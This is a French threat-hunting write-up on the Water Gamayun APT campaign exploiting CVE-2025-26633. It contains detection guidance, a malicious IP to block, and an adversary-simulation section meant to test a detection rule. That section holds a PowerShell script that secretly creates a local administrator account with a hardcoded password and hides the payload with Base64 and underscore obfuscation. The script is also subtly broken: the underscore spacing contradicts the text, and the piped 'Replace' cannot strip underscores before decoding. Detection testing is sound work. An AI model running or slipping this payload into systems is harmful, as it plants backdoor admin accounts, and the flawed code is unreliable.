Chasse aux Menaces de Zscaler : Exposition et Reconstruction de la Campagne APT Water Gamayun

Résumé

Le rapport couvre une intrusion en plusieurs étapes attribuée au groupe APT Water Gamayun qui exploite une vulnérabilité MMC zero-day (CVE-2025-26633) pour livrer des charges utiles PowerShell dans une archive RAR à double extension.

Enquête

Zscaler a reconstruit la chaîne de destruction depuis une redirection de recherche Bing vers un site compromis, le téléchargement d’un fichier .pdf.rar, l’exploitation de MSC EvilTwin, des scripts PowerShell en plusieurs étapes et l’exécution de la porte dérobée ItunesC.exe.

Atténuation

Les conseils incluent la surveillance des archives à double extension, l’inspection des redirections, la détection des commandes PowerShell encodées et le blocage des IP et domaines malveillants.

Réponse

Lors de la détection, alertez sur mmc.exe lançant PowerShell avec -EncodedCommand, mettez le fichier en quarantaine, bloquez les connexions sortantes vers 103.246.147.17 et activez les procédures de réponse aux incidents.

Exécution de simulation

Prérequis : La vérification préliminaire de télémétrie et de base doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés conduiront à des erreurs de diagnostic.

• Narration et commandes de l’attaque :
  L’attaquant, utilisant la méthodologie de Water Gamayun, prépare une charge utile PowerShell malveillante qui écrit un nouvel utilisateur administrateur local et l’ajoute au groupe Administrateurs. Pour cacher la charge utile, l’attaquant :

  1. Écrit le script PowerShell en texte clair.
  2. L’encode en Base64 UTF‑16LE.
  3. Insère un souligné (_) après chaque 4 caractères pour augmenter l’entropie.
  4. Enchaîne une |Replace('_','') opération de sorte que le runtime PowerShell supprime les soulignés avant de décoder, correspondant à la signature de détection.

  La commande d’exécution finale est :

  powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

  Cette ligne de commande exacte satisfait les deux conditions de la règle Sigma (-EncodedCommand and |Replace('_','')), générant des entrées Sysmon EventID 1 et Security EventID 4688 que la règle signalera.

• Script de test de régression :
  Le script ci-dessous automatise la création de la charge utile obfusquée et l’exécute. Il peut être exécuté sur n’importe quel hôte Windows avec PowerShell 5.1+.

  # Simulation d'obfuscation PowerShell à la manière de Water Gamayun
  # Étape 1 : Définir la charge utile PowerShell malveillante (ajoute un utilisateur administrateur local)
  $payload = @'
  $user = "tempAdmin"
  $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
  New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
  Add-LocalGroupMember -Group "Administrators" -Member $user
  '@
  
  # Étape 2 : Encoder en UTF-16LE puis Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # Étape 3 : Injecter des soulignés tous les 8 caractères (simulant le modèle du groupe)
  $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
  
  # Étape 4 : Exécuter avec la pipeline nécessaire Replace('_','')
  powershell.exe -EncodedCommand $b64Underscored | Replace('_','')

• Commandes de nettoyage :
  Les commandes suivantes suppriment l’utilisateur de test et restaurent l’environnement.

  # Nettoyage : Supprimer le compte administrateur temporaire créé par le test
  $user = "tempAdmin"
  if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
      Remove-LocalUser -Name $user
      Write-Host "Deleted test user $user."
  } else {
      Write-Host "Test user $user does not exist."
  }